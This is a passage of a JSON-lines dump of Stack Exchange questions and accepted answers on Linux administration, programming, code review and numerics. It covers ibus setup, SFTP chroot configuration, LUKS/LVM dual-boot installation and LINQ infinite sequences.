security and/or if I need more that?"  , "title": "User registration web service"  , "tags": "rest;security;authentication"  } 
{  "id": "_softwareengineering.225049"  , "question": "I am a experimental physicist. In our research, we have our experimental data in a 400*400*400 matrix(x, y, z axis of a 3d space), each entry is associated with a value(brightness). We expect the brightest entries will form a closed path in the 3d space. But some portion of the path is always too dark to identify, also there are some noise in the space(random bright lines).Our current algorithm generates random seed points into the space, they are attracted by the brightness of the data. After certain amount of time, they will be trapped in the path. If we record the seed points position we can get the path. Our current algorithm does a fairly good job while I still need to manually add those relatively dark points to the path.I am not familiar with machine learning, but I am wondering if it can be used on this case? For example, is it possible that I tell the program which data points are on the path, the program will know how to choose the data points for the path in the future. Or if there is some other method we can use? Thanks!"  , "title": "Can I use machine learning for screening experimental data?"  , "tags": "machine learning;image processing;noise"  } 
{  "id": "_unix.305145"  , "question": "I'm trying to get ibus's popup selection to work. I followed the instructions in the Arch wiki, by installing the ibus and ibus-libpinyin packages. ibus appears to partially work. ibus-setup works fine, and I can select inputs. In my text editor, I can then switch between English and (say) Arabic. Input changes as expected. However, after switching to Chinese Pinyin, text just appears as normal, with no pop-up appearing.All packages are up-to-date.KDE Plasma 5.7.3-1ibus 1.5.14-1ibus-qt 1.3.3-6ibus-libpinyin 1.7.92-1libpinyin 1.5.92-1(Previously posted on the Arch forum with no reply.)EDITI recently upgraded some of these packages, but I still am having this problem.KDE Plasma 5.7.4-2libpinyin 1.6.0-1"  , "title": "How can I enable ibus's input popup?"  , "tags": "special characters;input method;ibus"  , "accepted_answer": "Inspired by the Arch wiki, I added export QT_IM_MODULE=ibus to ~/.xprofile, which fixed it. I was initially thrown, because normal ibus input worked without this fix. In any case, I've edited the wiki to be a little clearer."  } 
{  "id": "_unix.59180"  , "question": "In XFCE 4.10, you can enable an option that allows windows to tile automatically when dragged to the edges. The default is to tile to half the screen (half-top, half-bottom, half-left, or half-right). I want to change this so that dragging to the top edge maximizes a window, but I don't see any options in the settings anywhere to change this. Can this be done or am I out of luck here?"  , "title": "How do I change XFCE tiling to maximize on top edge?"  , "tags": "xfce"  , "accepted_answer": "I'm afraid you're out of luck, unless you want to patch the sources (and possibly also offer the patch upstream). However there are two alternative approaches: assign maximizing the window to double clicking on the window headeruse keyboard short-cut (it used do be Alt+F5, but I'm not sure what the default is today)."  } 
{  "id": "_cstheory.29210"  , "question": "The standard Assignment Problem asks for an optimal one-to-one assignment between agents and tasks.Now consider the following generalization: Instead of specifying a  cost of a single agent-task pair, assume that you can specify a cost of an arbitrary set of agent-task pairs. The problem is then defined by a set of constraints, where each constraint is a cost c and a set S of task-agent pairs. Meaning of a such constraint is that a cost c occurs when all pairs in S are satisfied, and the overall cost is the sum of costs of all satisfied constraints.Note that this problem can be encoded as Weighted Partial MAX-SAT, where hard clauses encode one-to-one assignment between agents and tasks, and each constraint is a (weighted) soft clause.However, I am interested if this can be reduced to something simpler or if this is a known problem, but so far wasn't able to find an answer.Thanks for your help."  , "title": "Is there a name for this Assignment definition"  , "tags": "ds.algorithms;optimization;sat"  } 
{  "id": "_unix.341633"  , "question": "using Linux has been an interesting quest for the best system to fulfill my needs and wishes. 5 months ago I arrived to a good comfort-zone.Now I want to change my harddrive. In order to make my initial customization more efficiently, I thought of looking up all the commands I've typed in the bash since my last installation. The history command and my .bash_history file under ~$ and ~# only show the command of my last days..How do I do this?  and/or  How to best keep track of all (successfull) command I type?"  , "title": "How to see all commands since last system install(5 months)?"  , "tags": "bash;command history;bashrc;bash expansion"  } 
{  "id": "_codereview.171101"  , "question": "Context:This code compute the data from table ItemReturn into StatReturn.It take about 1 700 000 ItemReturn on the first run. For 2minute, computation and database insert.ItemReturn: (int)Itm_Id, (int)Itm_Item_Serial, (datetime)Itm_CDate, [...]StatReturn : (int)Stat_id, Itm_Id, NbReturn, NbReturn_at30d, NbReturn_at60d, [...]For every return, we need to know: How many time this item was return in different timeframe (30,60,90.. days).An item is unique based on his Serial (Itm_Item_Serial).Function:This function take in input a list of a ItemReturn give as result the `StatReturn.private List<StatReturn> ComputeReturnStat(IEnumerable<ItemReturn> todoReturn){    var ttMSE = todoReturn  .GroupBy(x => x.Itm_Item_Serial)                            .Select(grp =>                                        new InfoReturn(grp.Key                                        , grp.Select(x => new MseDate((DateTime)x.Itm_CDate, x.Itm_Id))                                              .OrderBy(x => x.InterD)                                              .ToArray()                                        , grp.Count()                                        )                                    );    var result = new List<StatReturn>();    foreach (var mse in ttMSE)    {        var statReturn = new StatReturn();        statReturn.SR_Compteur = 0;        statReturn.SR_NbRetour = (byte)mse.NbRetour;        statReturn.SR_NbRetour30J = 0;        statReturn.SR_NbRetour60J = 0;        statReturn.SR_NbRetour90J = 0;        statReturn.SR_NbRetour120J = 0;        statReturn.SR_NbRetour180J = 0;        statReturn.SR_NbRetour365J = 0;        if (mse.NbRetour == 1)        {            statReturn.SR_Compteur = mse.Items.First().MSE_key;            result.Add(statReturn);        }        else        {            for (int i = 0; i < mse.NbRetour; i++)            {                statReturn = new StatReturn();                statReturn.SR_NbRetour = (byte)mse.NbRetour;                statReturn.SR_NbRetour30J = 0;                statReturn.SR_NbRetour60J = 0;                statReturn.SR_NbRetour90J = 0;                statReturn.SR_NbRetour120J = 0;                statReturn.SR_NbRetour180J = 0;                statReturn.SR_NbRetour365J = 0;                statReturn.SR_Compteur = mse.Items[i].MSE_key;                for (int j = i - 1; j >= 0; j--)                {                    var delay = (mse.Items[i].InterD - mse.Items[j].InterD).Days;                    if (delay <= 30)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour30J++;                    }                    else if (delay > 30 & delay <= 60)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour60J++;                    }                    else if (delay > 60 & delay <= 90)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour90J++;                    }                    else if (delay > 90 & delay <= 120)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour120J++;                    }                    else if (delay > 120 & delay <= 180)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour180J++;                    }                    else if (delay > 180 & delay <= 365)                    {                        statReturn.SR_NbRetour++;                        statReturn.SR_NbRetour365J++;                    }                }                result.Add(statReturn);            }        }    };    return result;}Additional information:InfoReturn, is a custom class.  int nser;         // Itm_Item_SerialMseDate[] items;  // list of Return id (Itm_Id) and Dateint nbRetour;     // Total of returnThere is a byte cast in code because database is in small in so Linq-to-SQL type is byte.All comment have been delete, and all variable have been translated for the post. A lot of column in database are nullable, so we set them to 0 by default. "  , "title": "Counting the number of returning item for a TimeFrame"  , "tags": "c#"  , "accepted_answer": "first var var statReturn is only used in if (mse.NbRetour == 1)delay > 30 and other > are redundant   change statReturn to default those values to 0  I think you could do this sorted output and not need the GroupBy if you are having performance issues.   Or do it in TSQL.  "  } 
{  "id": "_unix.232216"  , "question": "I have website which is password protected where runs a php app on it. Now I have to unprotect a sub-url of that website but without disablng the protection of the main site which is configured through plesk. This sub-url is given by the php app and is not a physical folder. Any hints how I can achieve that?OS  Ubuntu 14.04.3 LTSWebserver Apache2 Plesk Version   12.0.18How do I find where plesk is storing/managing the RequireUser directives for my website?  I assuming it is writing in somewhere into a vhost.conf? Or does plesk uses a different approach to manage password protected directories?"  , "title": "Ubuntu & Plesk - How to exclude a sub-url from password protection?"  , "tags": "ubuntu;password;plesk;apache virtualhost"  } 
{  "id": "_codereview.110256"  , "question": "The task was to build a knight_moves method which when called would display the simplest path from one given square to the other given square.My Solution:class Square  attr_accessor :x, :y, :children, :parent  def initialize(x,y, parent=nil)    @x = x    @y = y    @children = []    @parent = parent  endenddef create_children(board)  potentials = []  potentials.push(    [board.x + 2, board.y + 1],    [board.x + 2, board.y - 1],    [board.x + 1, board.y + 2],    [board.x + 1, board.y - 2],    [board.x - 2, board.y + 1],    [board.x - 2, board.y - 1],     [board.x - 1, board.y + 2],     [board.x - 1, board.y - 2]    )  valid_children = potentials.select do |space|    space[0].between?(0,8) &&    space[1].between?(0,8)  end  valid_children = valid_children.map do |space|    Square.new(space[0], space[1], board)  end  @children = valid_childrenenddef knight_moves(first_square,final_square)  first_children = Square.new(first_square[0],first_square[1])  create_children(first_children)  bfs(final_square, @children)enddef bfs(search_value,children)  queue = children  loop do     current = queue.shift    if [current.x,current.y] == search_value       display_path(current)      break    else      create_children(current).each {|child| queue << child}    end  endenddef display_path(current)  parent = current.parent  array = []  while !parent.nil?    array << [parent.x,parent.y]    parent = parent.parent  end  array.reverse!  array << [current.x,current.y]  puts Your path is:  array.each {|i| p i}endMethod Callknight_moves([2,5],[4,7])"  , "title": "Knight's Travails in ruby"  , "tags": "algorithm;ruby;chess"  , "accepted_answer": "BugThis:knight_moves([2,5],[2,5])prints:Your path is:[2, 5][4, 6][2, 5]Not the shortest path. In knight_moves, simply call bfs with [first_child] as the children argument. There's no need to call create_children in knight_moves; bfs can compute the first level of the search tree the same way it computes all other levels.Global variableIn create_children, you're setting @children which acts like a global variable as this method isn't inside a class. Simply return valid_children without setting any variables.(You're not setting Square#children because the method isn't inside Square. You actually never use Square#children. Remove this field from Square).NamingRename:Square -> Node (The class represents a node in the search tree. A true Square class would only have x and y fields).create_children -> child_nodesfirst_children -> rootboard argument -> node (or parent)display_path -> print_pathMissing Square classThe code sometimes uses an [x, y] array for squares, and sometimes the x and y fields of Node. This makes the code full of wrapping of unwrapping:# lines that unwrap an [x, y] array:Node.new(space[0], space[1], board)first_child = Node.new(first_square[0],first_square[1])# lines that create an [x, y] array:if [current.x,current.y] == search_value array << [current.x,current.y]You can eliminate this by creating a Square class and use it for representing squares everywhere in the code (including in Node):class Square  attr_reader :x, :y  def initialize(x, y)    @x = x    @y = y  end  def ==(other)    [self.x, self. y] == [other.x, other.y]  end  def to_s    [self.x, self.y].to_s  endendI already implemented equality (for the comparison in bfs) and to_s (for printing in print_path). Then change Node to use a Square: (also, use attr_reader)class Node  attr_reader :square, :parent  def initialize(square, parent=nil)    @square = square    @parent = parent  endendNow replace any [x, y] array in the code with a Square:# in child_nodes:square = node.square...Square.new(square.x + 2, square.y + 1),...space.x.between(0, 8) &&...Node.new(space, node)# in knight_moves:Node.new(first_square)# in bfs:if current.square == search_value# in print_path:array << parent.squarearray << current.squareputs i # instead of p i, so to_s is used# calling knight_moves:knight_moves(Square.new(2, 5), Square.new(4, 7))Missing Square methodsMost of child_nodes deals with squares, so most of its functionality should be inside Square methods. The only thing it does that doesn't involve only squares is creating nodes, so it should do just that:def child_nodes(node)  node.square.knight_moves.map do |square|    Node.new(square, node)  endendSquare#knight_moves is a new method that returns an array of the squares that can be reached from the current one. It should look something like this:def knight_moves  [    Square.new(self.x + 2, self.y + 1),    ...  ].select { |square| square.valid? }endThis requires adding a Square#valid? to check if a square's coordinates are legal.Revisiting knight_movesknights_moves does too little now, it only creates a root node and put it in a one-element array. I would remove it and move its functionality to bfs (Make bfs accept first_square and final_square as arguments, and call it directly).Seperating logic and printingDon't print the path in bfs, just return it (the array of squares) and let the main code print it. You can simplify the code for getting the path:def path_from_root(current)  array = []  loop do    array << current.square    current = current.parent    break if current.nil?  end  array.reverseend"  } 
{  "id": "_cs.40699"  , "question": "I am working on the following problemFind the linear least squares unit weights for the `OR' problem, ie.$v_1^T = (0,0), v_2^T = (1,0), v_3^T = (0,1), v_4^T = (1,1)$ and $u_1 = 0, u_2 = u_3 = u_4 = 1$.Here $v$ represent inputs and $u$ outputs. For problems like this I usually find a matrix $W$ (the weights) such that $$u_i=Wv_i \\quad i=1,2,3,4$$ but I think it is obvious a matrix doesn't exist. my reasoning being that the problem is equivalent to finding the matrix $W = \\begin{pmatrix} x_1 & x_2 \\end{pmatrix} $ such that $$\\begin{pmatrix} 0 & 1 & 1 & 1 \\end{pmatrix} = \\begin{pmatrix} x_1 & x_2 \\end{pmatrix} \\begin{pmatrix} 0 & 0 & 1 & 1 \\\\ 0 & 1 & 0 & 1 \\end{pmatrix}$$ And looking at the two middle columns of the left vector and right matrix we must have $x_1=x_2 =1$ but then we get $1 + 1 = 1$, a contradiction. In a unit perceptron a function may be applied to the output, and a step function $$f(x) \\begin{cases}0 & x \\leq 0 \\\\1 & x > 0\\end{cases}$$ would work here.My question here is, is this correct? I wasn't quite sure if I am answering the right question. I am pretty sure $u_i = f(Wv_i)$ but I am not too familiar with what is meant by linear least squares unit weights in this context?"  , "title": "Creating a single layer perceptron for the OR problem"  , "tags": "neural networks;linear algebra;boolean algebra"  , "accepted_answer": "The fact that you mention linear least squares error seems to hint that they want you to use a completely linear model $u_i=Wv_i$ for your perceptron. In this case you won't get exact answers like $0$ and $1$; you will only get approximations with some amount of error.That said, I don't think a linear model makes sense for this problem, since it is a classification problem with two classes. Using a non-linear step-like function $f$ before the final output of a perceptron classifier is a pretty standard thing to do, so I see no problem with using $u_i=f(Wv_i)$. Assuming you can use $f$, using the weights $x_1 = x_2 = 1$ as you mentioned solve this problem exactly with zero error."  } 
{  "id": "_webmaster.101608"  , "question": "I have a Google site in which I have a gadget which sends data to Google Analytics using its send method which is written in the javascript of my Google gadget.I am able to see the data in my User Explorer of Google Analytics. I get a Review permission button on my Google sites page which I find very annoying. It adds the gadget to the list of user's authorized apps which the user can easily delete and hence the user wont be tracked. I need some custom parameters to be extracted from Google sites while the user is browsing my website.A better option was to provide an add-on. However, due to Google's restriction on Javascript that was not possible.Is there any better way to do get user analytics. If so, please suggest."  , "title": "How to implement Google Analytics explicity in Google sites?"  , "tags": "google analytics;google sites"  } 
{  "id": "_unix.185252"  , "question": "sudo service squid3 status works, implying squid is in upstart.However a listing of services usingsudo service --status-all does not show squid. Neither does sudo update-rc.d squid3 defaultswork (gives an error saying update-rc.d: /etc/init.d/squid3: file does not exist).On doing some research I found that:squid3.conf is in /etc/initBut not in /etc/init.dNot listed in any runlevels /etc/rc?.dMy objective is to not have squid start at runtime. I was hoping to do this using upstart. Without this my only option is to comment out the run level line: start [2345l]. Correct?Also why this weirdness? Any thoughts, explanations?I am on Ubuntu 14.04."  , "title": "update-rc.d squid3 init.d init weirdness"  , "tags": "ubuntu;upstart;squid"  } 
{  "id": "_softwareengineering.276778"  , "question": "After having written some python scripts with comments for documentation inside, is it a good idea and possible to aggregate the documentation comments from multiple scripts into some standalone documentation file such as README?Furthermore, is it possible to aggregate them in some markup format such as Markdown?Thanks."  , "title": "Aggregate documentation comments from multiple scripts into README?"  , "tags": "python;documentation generation"  } 
{  "id": "_scicomp.25294"  , "question": "I want some scalar spline function defined on regular 2D grid $F(x,y)$ with continuous first derivative which is easy to intersect with arbitrary ray/line ${\\vec l}(t) = (c_x t,c_y t,c_z t)$.  Finding the intersection means finding roots of equation $f_{c_x,c_y}(t)-c_zt=0$ where  $f_{c_x,c_y}(t)=F(c_x t, c_y t )$ are values of the spline along the line ${\\vec l}(t)$.Since it is easy to find roots of quadratic polynominal I want $f_{c_x,c_y}(t)$ to be piecewise quadratic polynominal for any ${c_x,c_y}$.What is the problem / what is not a solution:consider bi-quadratic B-spline on rectangular grid created by tensor-product of 1D quadratic B-splines. The result is bi-quadratic which means it is $f_{c_x,c_y}(t)$ is 4-th order polynominal.function composed of Quadratic Bezier-triangles. While it is certainly just quadratic function along any direction, it is hard ensure continuous derivatives at the boundary between triangles.  "  , "title": "C1 continuous spline on regular 2D-grid with quadratic 1D cuts"  , "tags": "interpolation;b spline;grid"  } 
{  "id": "_unix.329564"  , "question": "I love tmux, but whenever I need to create a split with a new pane or a new window it has to run my zsh init scrips and .profile, etc. And they take about a few seconds to run. Initializing stuff like fasd etc.Is it possible to make it faster to start? "  , "title": "Faster startup of zsh"  , "tags": "zsh;performance;profiling"  } 
{  "id": "_unix.26189"  , "question": "The execstack program can be used to mark ELF-binaries as needing an executable stack. Is there a similar way to mark the heap as executable? Preferably for a single binary but if that's not possible, a system-wide solution would be useful too."  , "title": "Set executable heap"  , "tags": "linux;executable"  } 
{  "id": "_scicomp.1988"  , "question": "It appears that matlab's eigs is giving me bad approximations of the smallest eigenvectors of a matrix. I assume I can use some slower methods which would also be more accurate...I am looking to find the 2nd smallest eigenvector of a lapalcian matrix (known as the fiedler vector). I know of course that the smallest eigenvector of a laplacian matrix is the constant vector.Any suggestions for a more accurate method?P.SIn all the above, when I say smallest eigenvector I mean the eigenvector associated with the eigenvalue of smallest magnitude. "  , "title": "Compute smallest eigenvectors of a matrix"  , "tags": "eigensystem;matlab"  , "accepted_answer": "There is a straightforward way to exploit your a priori knowledge of the smallest eigenpair: you could simply project out the component of the current eigenvector estimate in the direction of the constant vector in each iteration of, say, inverse iteration. You should then expect the iterate to converge to the eigenvector corresponding to the second smallest eigenvalue, your desired Fiedler vector.Depending on the connectivity of your graph, you may or may not want to run a sparse-direct factorization before inverse iteration in order to accelerate the applications of $A^{-1}$. Once the inverse iteration approach is working, you could also consider replacing it with a Krylov algorithm, which takes a little more work to code but should converge faster."  } 
{  "id": "_unix.38167"  , "question": "Some days ago I bought headet (Jabra BT2045) and I want to use it in Skype voicechat and for example to forward to it another sound streams from my KDE.I've successfully paired and setup as headset Jabra with Blueman or BlueDevil. After that Jabra interface appeared in Phonon list and I moved it to the top of list to transfer music to Jabra, not to my main output.  But! There is no sound even if I change output manually with kmix for the streams, or when I've already setup Jabra as default output interface, microphone even don't work! Skype don't see that Jabra interface at settings and sound will appear if I reset all to my standard output (loudspeakers).What am I doing wrong? My dist is Linux Mint and pulseaudio/kde/blueman/bluedevil are up to date from mint repos."  , "title": "Pulseaudio, Phonon, KDE and forwarding sound to headset"  , "tags": "kde;audio;pulseaudio"  } 
{  "id": "_softwareengineering.101434"  , "question": "I've wanted to learn C++ for awhile and took AP Computer Programming in High School (back when it was C++ and not Java). I enjoy C and just haven't found the time to learn C++ or I'll just fall back on C# where I'm much more productive. My question is this: given that C++ '11 has been approved (although I know not fully implemented) does this change the way I should approach learning C++? I own C++: The Complete Reference By Herb Schildt which is from 1998. Does the newly approved standard make learning from such books less important than some of the newer tutorials/books that include things from the standard? Is there any benefit from learning from the older books?"  , "title": "Given C++ '11 Was Approved, Does This Change How A C++ Beginner Learns The Language?"  , "tags": "learning;c++"  , "accepted_answer": "Absolutely. These days three things that are usually in lesson 2 should move much, much later:strings as arrays of char*, the strlen, strxxx methods, and so on arrays in general and pointer arithmeticdelete what you new, delete[] what you new[], and even destructorsThese things that are usually in lesson 99 should move much, much earliertemplates as things to use (write, not so much)std::stringstd::shared_ptr<>std::vector<>, iterators, other collectionsEvey raw pointer should immediately be given to a smart pointer wrapper (I would start with shared, and consider unique later since it requires explaining std::move and rvalue references). Doing this will make learning C++ feel a lot like learning Java or C#, where you learn the library at the same time as the language. It will take away a lot of the memory work, too, and leave people less worried about gotchas.I would also work lambdas into the picture the first time we wanted to iterate through a collection and do something to each element.Disclaimer: I am writing a C++ course for Pluralsight right now and using this approach. The last module is understanding other people's code and that is where I will put the confusing stuff like char* strings, manual memory management, pointer arithmetic, and so on.Update: a few people have asked why the existence of C++0x inspires teaching things that could have been taught with C++03. I think it's a number of things:truly smart pointers, that are collection friendly, take away the need for things like an array of Employee pointers that were causing us to always fall back on new/delete, pointer arithmetic etcauto takes away the pain of iterator declarations lambdas make foreaching something an ordinary person would doeven something as trivial as parsing >> correctly eliminates the gotcha that would be there when declaring some templates of templatesand so onThe way I see it, there are things we could have changed about the way we were teaching C++ some time ago, but some of us held back because we still needed the old-school way for a fallback or because teaching it just involved a lot of arcane knowledge."  } 
{  "id": "_unix.210346"  , "question": "My Fedora 22 (workstation-gnome) home pc has two accounts:  steve, which has no password, and root which does have a password.  On this website, the fedora 22 - change from gnome to kde4topic may have reached an impasse.  It seems that the Gnome to KDE desktop is user specific; its manipulation apparently requires that the user ID have a password, at least temporarily.I believe that I can resolve this by:logging in as rootsetting a password for the steve accountlogging in as steve, with the password, simultaenously changing the steve account to kdelogging back in as root and eliminating the password from the steve account.How do I do #'s 2 and 4 above?  After #4, I will want the steve account to have no password."  , "title": "Manipulating a (non-root) password in Fedora 22"  , "tags": "password"  } 
{  "id": "_unix.122189"  , "question": "I'd like to override some hardcoded paths stored in pre-compiled executables like /usr/share/nmap/ and redirect them to another dir.My ideal solution should not require root priviledges, so creating a symlink is not ok.(Also recompiling it's not an option)"  , "title": "override hardcoded paths in executables"  , "tags": "executable;sandbox;portable"  , "accepted_answer": "I've just found this ptrace-based chroot reimplementation: PRoot.The bind function is just what i was looking for!This is more reliable than replacing strings in the executable + can be easily used in scripts..."  } 
{  "id": "_cs.47942"  , "question": "Can quantum computer become perfect chess player?Can it determine whether (when both players are perfect) win white or black? (or is it dead heat?)"  , "title": "Can quantum computer become perfect chess player?"  , "tags": "quantum computing"  , "accepted_answer": "I've already answered essentially this question, on Chess Stack Exchange. The executive summary is that chess doesn't seem particularly well-suited to quantum computation's strengths so there's no particular reason to believe that a quantum computer would be any better at it than a classical one."  } 
{  "id": "_webapps.65787"  , "question": "I have just created a Tumblr blog using the Indy theme. After creating a new post, I noticed that the notes do not show up, just a short line.I tried searching for an option to make the notes visible, but I could not find it. As it was pointed out, apparently not all themes display notes.How do I make the notes visible if using the Indy theme? What changes do I have to make to its HTML? Here is my blog if you need to see what I am talking about: empathetic-moose.tumblr.comThank you."  , "title": "Making notes visible when using a Tumblr theme that doesn't show them"  , "tags": "tumblr;tumblr themes"  } 
{  "id": "_unix.155291"  , "question": "I need to provide user access to Ubuntu 14.04 Server, only limited to certain folder. To enjoy the ssh security and not to open up new service and ports (ie, ftp), I'd like to stick with sftp. However, just creating a user and enabling ssh access is too generous - the user then can log on via ssh and see whatever there is that is viewable by everybody.I need the user to find themselves in a specific directory after login, and, according to their privileges, read/write files, as well as create folders where permitted. No access to any file or directory above the user's root folder.What would be the suggested method to achieve this? Is there some very restricted shell type for this? I tried with$ usermod -s /bin/false <username>But that does not let the user to cd into subfolders of their base folder."  , "title": "Provide sftp read/write access to folder and subfolders, restrict all else"  , "tags": "ssh;permissions;sftp"  , "accepted_answer": "If you want to restrict a user to SFTP, you can do it easily in the SSH daemon configuration file /etc/ssh/sshd_config. Put a Match block at the end of the file:Match User bobForceCommand internal-sftpChrootDirectory /path/to/rootAllowTCPForwarding noPermitTunnel noX11Forwarding noIf the jail directory is the user's home directory as declared in /etc/passwd, you can use ChrootDirectory %h instead of specifying an explicit path. This syntax allows specifying a group of user accounts as SFTP-only all users whose group as declared in the user database is sftponly will be restricted to SFTP:Match Group sftponlyForceCommand internal-sftpChrootDirectory %hAllowTCPForwarding noPermitTunnel noX11Forwarding no"  } 
{  "id": "_datascience.865"  , "question": "I need to build parse tree for some source code (on Python or any program language that describe by CFG).So, I have source code on some programming language and BNF this language.Can anybody give some advice how can I build parse tree in this case?Preferably, with tools for Python."  , "title": "How to build parse tree with BNF"  , "tags": "python;parsing"  , "accepted_answer": "I suggest you use ANTLR, which is a very powerful parser generator. It has a good GUI for entering your BNF. It has a Python target capability."  } 
{  "id": "_unix.216538"  , "question": "I'm trying to install LMDE 2 'Betsy' 64-Bit dual-booting with Windows 8.1 and both systems encrypted separately, Windows with truecrypt and LMDE with luks. When booting I want to be asked for the truecrypt volumes password and when I press Esc GRUB should start and boot the encrypted Linux. I want to have a LVM partition for my data which will be my home directory in Linux and which I plan to access with https://github.com/t-d-k/LibreCrypt . My problem is that I can't get GRUB working.Most of the following steps I took from https://wiki.ubuntuusers.de/system_verschl%C3%BCsseln and changed them to fit my needs.Here is my setup although Windows is not encrypted yet:/dev/sda1 Windows Recovery  ntfs/dev/sda2 Boot      ext4        300MiB/dev/sda3 Windows 8.1   truecrypt/dev/sda4 crypt-luks    crypt-luksAnd here is what I did:Boot LMDE 2 from USB stick.Select German as language.Do the other stuff until I have to select a partition. There I enter Expert Mode where I get asked to mount my target System under /Ziel but it needs to be /target. I start to get the system ready with:cryptsetup -c aes-xts-plain64 -s 512 -h sha512 luksFormat /dev/sda4cryptsetup luksOpen /dev/sda4 lukslvmpvcreate /dev/mapper/lukslvmvgcreate vglmde /dev/mapper/lukslvmThen I create my logical volumes:lvcreate -L 8G -n swap vglmdelvcreate -L 25G -n root vglmdelvcreate -l 100%FREE -n home vglmdeI format these partitions with labels:mkswap /dev/mapper/vglmde-swap -L swapmkfs.ext4 /dev/mapper/vglmde-root -L rootmkfs.ext4 /dev/mapper/vglmde-home -L homeThen I mount the logical root partition in /target to continue installing:mkdir /targetmount /dev/mapper/vglmde-root /targetmkdir /target/bootmount /dev/sda2 /target/bootmkdir /target/homemount /dev/mapper/vglmde-home /target/homeThen I continue the installation. When asked I choose that GRUB should be installed in /dev/sda2 because that is my boot partition.After the dialog Installation paused shows up, I perform the following steps:mount -o rbind /dev /target/devmount -t proc proc /target/procHere I get the message that proc is already mounted on /target/procmount -t sysfs sys /target/sysHere it says that sys is already mounted or /target/sys is busy.cp /etc/resolv.conf /target/etc/resolv.confchroot /target /bin/bashThen I make sure the required packages are up-to-date.apt-get updateapt-get install cryptsetup lvm2To set up the /etc/crypttab I first get the UUID and then append to the crypttab replacing  with the UUID.blkid /dev/sda4echo lukslvm UUID=<MY_UUID> none luks >> /etc/crypttabThen I append some necessary modules.echo dm-crypt >> /etc/modulesecho ohci_pci >> /etc/initramfs-tools/modulesupdate-initramfs -u -k all -tAnd I edit the /etc/fstab .echo /dev/sda2     /boot   ext4    defaults            0   2 >> /etc/fstabecho /dev/mapper/vglmde-root   /   ext4    defaults,errors=remount-ro  0   1 >> /etc/fstabecho /dev/mapper/vglmde-swap   none    swap    sw              0   0 >> /etc/fstabecho /dev/mapper/vglmde-home   /home/  ext4    defaults            0   2 >> /etc/fstabThen I update GRUB and leave chroot.update-grubexitsyncAnd continue the installation.When asked if I want to reboot I say yes and......at reboot I get the following output:error: no such partitionEntering rescue mode...grub rescue>Now I can't figure out where I went wrong. Am I right that GRUB should have loaded normally when there is no other boot-able partition?P.S. When debugging the following commands let you use the installed system when on a live disc.Mounting the encrypted Volumecryptsetup luksOpen /dev/sda4 lukslvmSearch and add the volume groups.vgscanvgchange -a yMount the volumes as usualmount /dev/mapper/vglmde-root /mnt"  , "title": "Problem with GRUB for dual-boot installation of LMDE 2 (and Windows) on encrypted luks-lvm (truecrypt)"  , "tags": "grub2;dual boot;luks;lmde"  } 
{  "id": "_unix.237817"  , "question": "I have a process that receives a video file (RAW) and transcodes it with FFMPEG generating three (different resolutions) resultant files. I'm using a distributed task queue system (Celery) to process every process from FFMPEG in a different asynchronous task.The three tasks run, according to the flowConvert videoUpload result to a bucket in cloudDelete resultAnd a last task upload the RAW video (used for transcoding) to bucket, and delete it.If I start the three tasks asynchronously, and delete the RAW file just after, will the tasks (that are using the RAW file) be interrupted by deleting the file?PS: I assuming that, the RAW file is loaded in memory, and opened three times, while the transcoding task were started."  , "title": "Delete file while it is in use"  , "tags": "files;concurrency"  , "accepted_answer": "The assumption that the complete RAW file is in memory is not true. Normally, when a file is opened the process gets a file descriptor which can be used to read/write the file.When a file is opened by a process and then is deleted while the file is still open does not actually delete the file instantly. The file is actually deleted when there are no processes anymore with handles (file descriptors) to that file. You can use lsof to see if the file still has handles and when you delete such file it is often listed with the (deleted) text appended to the line.Disk space is also not reclaimed when an open file is deleted so it is safe to still use the file as long as it is open. When the deleted file does not have active file descriptors anymore the filesystem will reclaim the consumed disk space."  } 
{  "id": "_datascience.641"  , "question": "I'm currently searching for labeled datasets to use to train a model to extract named entities from informal text (think something similar to tweets). Because capitalization and grammar are often lacking in the documents in my dataset, I'm looking for out of domain data that's a bit more informal than the news articles and journal entries that many of today's state of the art named entity recognition systems are trained on.  Any recommendations?  So far I've only been able to locate 50k tokens from twitter published here: https://github.com/aritter/twitter_nlp/blob/master/data/annotated/ner.txt"  , "title": "Dataset for Named Entity Recognition on Informal Text"  , "tags": "dataset;nlp"  } 
{  "id": "_softwareengineering.216750"  , "question": "MotivationThe main idea is to explore and understand the limits of how far one can go with the basic LINQ primitives (Select, SelectMany, Concat, etc.). These primitives can all be considered functional operations on a theoretical sequence type. Taking examples from Haskell:Select 'lifts' a function into the sequence (like fmap in Haskell)Concat is compositionAggregate is the sequence type's catamorphism (fold)SelectMany 'extracts' information from the sequence (the Monad bind, >>= operation)etc. (and I'm sure there are better abstractions for the above)So the question is whether or not the basic sequence (Enumerable) operations in C# are enough to construct an infinite sequence. More concretely it is the following problem:ProblemI'm curious to know if there's a way to implement something equivalent to the following, but without using yield:IEnumerable<T> Infinite<T>(){    while (true) { yield return default(T); }}Is it possible to do sue using the built-in LINQ operators only? The short answer is that theoretically yes, but practically not because of how Linq is implemented (causing stack overflows).That's why here are less restrictive rules:RulesAlternatively a less restrictive question would go by the rulesYou can't use the yield keyword directlyUse only C# itself directly - no IL code, no constructing dynamic assemblies etc.You can only use the basic .NET lib (only mscorlib.dll, System.Core.dll? not sure what else to include). However if you find a solution with some of the other .NET assemblies (WPF?!), I'm also interested.Don't implement IEnumerable or IEnumerator.NotesAn example theoretically correct definition is:IEnumerable<int> infinite = null;infinite = new int[1].SelectMany(x => new int[1].Concat(infinite));This is correct but hits a StackOverflowException after 14399 iterations through the enumerable (not quite infinite).I'm thinking there might be no way to do this due to the C#'s compiler lack of tail recursion optimization. A proof would be nice :)"  , "title": "Is it possible to implement an infinite IEnumerable without using yield with only C# code?"  , "tags": "c#;linq;clr"  , "accepted_answer": "Even if your assertion was true, proving it would be infeasible, because the proof would have to go through all implementations of IEnumerable in the framework and prove for each one of those that it can't be infinite.And your assertion actually isn't true, there is at least one implementation of IEnumerable in the framework that can be infinite: BlockingCollection.GetConsumingEnumerable():What you would do is to create a bounded BlockingCollection that's filled in an infinite loop from a separate thread. Calling GetConsumingEnumerable() will then return an infinite IEnumerable:var source = new BlockingCollection<int>(1);Task.Run(() => { while (true) source.Add(1); });return source.GetConsumingEnumerable();"  } 
